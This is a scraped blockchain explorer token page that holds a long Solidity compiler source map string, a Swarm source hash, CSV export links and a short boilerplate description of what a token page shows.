1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:247::-;2106:6;2159:2;2147:9;2138:7;2134:23;2130:32;2127:52;;;2175:1;2172;2165:12;2127:52;2214:9;2201:23;2233:31;2258:5;2233:31;:::i;2507:388::-;2575:6;2583;2636:2;2624:9;2615:7;2611:23;2607:32;2604:52;;;2652:1;2649;2642:12;2604:52;2691:9;2678:23;2710:31;2735:5;2710:31;:::i;:::-;2760:5;-1:-1:-1;2817:2:1;2802:18;;2789:32;2830:33;2789:32;2830:33;:::i;:::-;2882:7;2872:17;;;2507:388;;;;;:::o;2900:127::-;2961:10;2956:3;2952:20;2949:1;2942:31;2992:4;2989:1;2982:15;3016:4;3013:1;3006:15;3032:416;3121:1;3158:5;3121:1;3172:270;3193:7;3183:8;3180:21;3172:270;;;3252:4;3248:1;3244:6;3240:17;3234:4;3231:27;3228:53;;;3261:18;;:::i;:::-;3311:7;3301:8;3297:22;3294:55;;;3331:16;;;;3294:55;3410:22;;;;3370:15;;;;3172:270;;;3176:3;3032:416;;;;;:::o;3453:806::-;3502:5;3532:8;3522:80;;-1:-1:-1;3573:1:1;3587:5;;3522:80;3621:4;3611:76;;-1:-1:-1;3658:1:1;3672:5;;3611:76;3703:4;3721:1;3716:59;;;;3789:1;3784:130;;;;3696:218;;3716:59;3746:1;3737:10;;3760:5;;;3784:130;3821:3;3811:8;3808:17;3805:43;;;3828:18;;:::i;:::-;-1:-1:-1;;3884:1:1;3870:16;;3899:5;;3696:218;;3998:2;3988:8;3985:16;3979:3;3973:4;3970:13;3966:36;3960:2;3950:8;3947:16;3942:2;3936:4;3933:12;3929:35;3926:77;3923:159;;;-1:-1:-1;4035:19:1;;;4067:5;;3923:159;4114:34;4139:8;4133:4;4114:34;:::i;:::-;4184:6;4180:1;4176:6;4172:19;4163:7;4160:32;4157:58;;;4195:18;;:::i;:::-;4233:20;;3453:806;-1:-1:-1;;;3453:806:1:o;4264:140::-;4322:5;4351:47;4392:4;4382:8;4378:19;4372:4;4351:47;:::i;4409:168::-;4482:9;;;4513;;4530:15;;;4524:22;;4510:37;4500:71;;4551:18;;:::i;4582:356::-;4784:2;4766:21;;;4803:18;;;4796:30;4862:34;4857:2;4842:18;;4835:62;4929:2;4914:18;;4582:356::o;5907:306::-;5995:6;6003;6011;6064:2;6052:9;6043:7;6039:23;6035:32;6032:52;;;6080:1;6077;6070:12;6032:52;6109:9;6103:16;6093:26;;6159:2;6148:9;6144:18;6138:25;6128:35;;6203:2;6192:9;6188:18;6182:25;6172:35;;5907:306;;;;;:::o;6497:277::-;6564:6;6617:2;6605:9;6596:7;6592:23;6588:32;6585:52;;;6633:1;6630;6623:12;6585:52;6665:9;6659:16;6718:5;6711:13;6704:21;6697:5;6694:32;6684:60;;6740:1;6737;6730:12;6779:251;6849:6;6902:2;6890:9;6881:7;6877:23;6873:32;6870:52;;;6918:1;6915;6908:12;6870:52;6950:9;6944:16;6969:31;6994:5;6969:31;:::i;10131:125::-;10196:9;;;10217:10;;;10214:36;;;10230:18;;:::i;10616:135::-;10655:3;10676:17;;;10673:43;;10696:18;;:::i;:::-;-1:-1:-1;10743:1:1;10732:13;;10616:135::o;10756:128::-;10823:9;;;10844:11;;;10841:37;;;10858:18;;:::i;11021:127::-;11082:10;11077:3;11073:20;11070:1;11063:31;11113:4;11110:1;11103:15;11137:4;11134:1;11127:15;11153:980;11415:4;11463:3;11452:9;11448:19;11494:6;11483:9;11476:25;11520:2;11558:6;11553:2;11542:9;11538:18;11531:34;11601:3;11596:2;11585:9;11581:18;11574:31;11625:6;11660;11654:13;11691:6;11683;11676:22;11729:3;11718:9;11714:19;11707:26;;11768:2;11760:6;11756:15;11742:29;;11789:1;11799:195;11813:6;11810:1;11807:13;11799:195;;;11878:13;;-1:-1:-1;;;;;11874:39:1;11862:52;;11969:15;;;;11934:12;;;;11910:1;11828:9;11799:195;;;-1:-1:-1;;;;;;;12050:32:1;;;;12045:2;12030:18;;12023:60;-1:-1:-1;;;12114:3:1;12099:19;12092:35;12011:3;11153:980;-1:-1:-1;;;11153:980:1:o;12494:217::-;12534:1;12560;12550:132;;12604:10;12599:3;12595:20;12592:1;12585:31;12639:4;12636:1;12629:15;12667:4;12664:1;12657:15;12550:132;-1:-1:-1;12696:9:1;;12494:217::o
Swarm Source
ipfs://4786164c03ba64f7fd89bf60eee394cff875bbb0f8767c1d85496b105aad8794
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.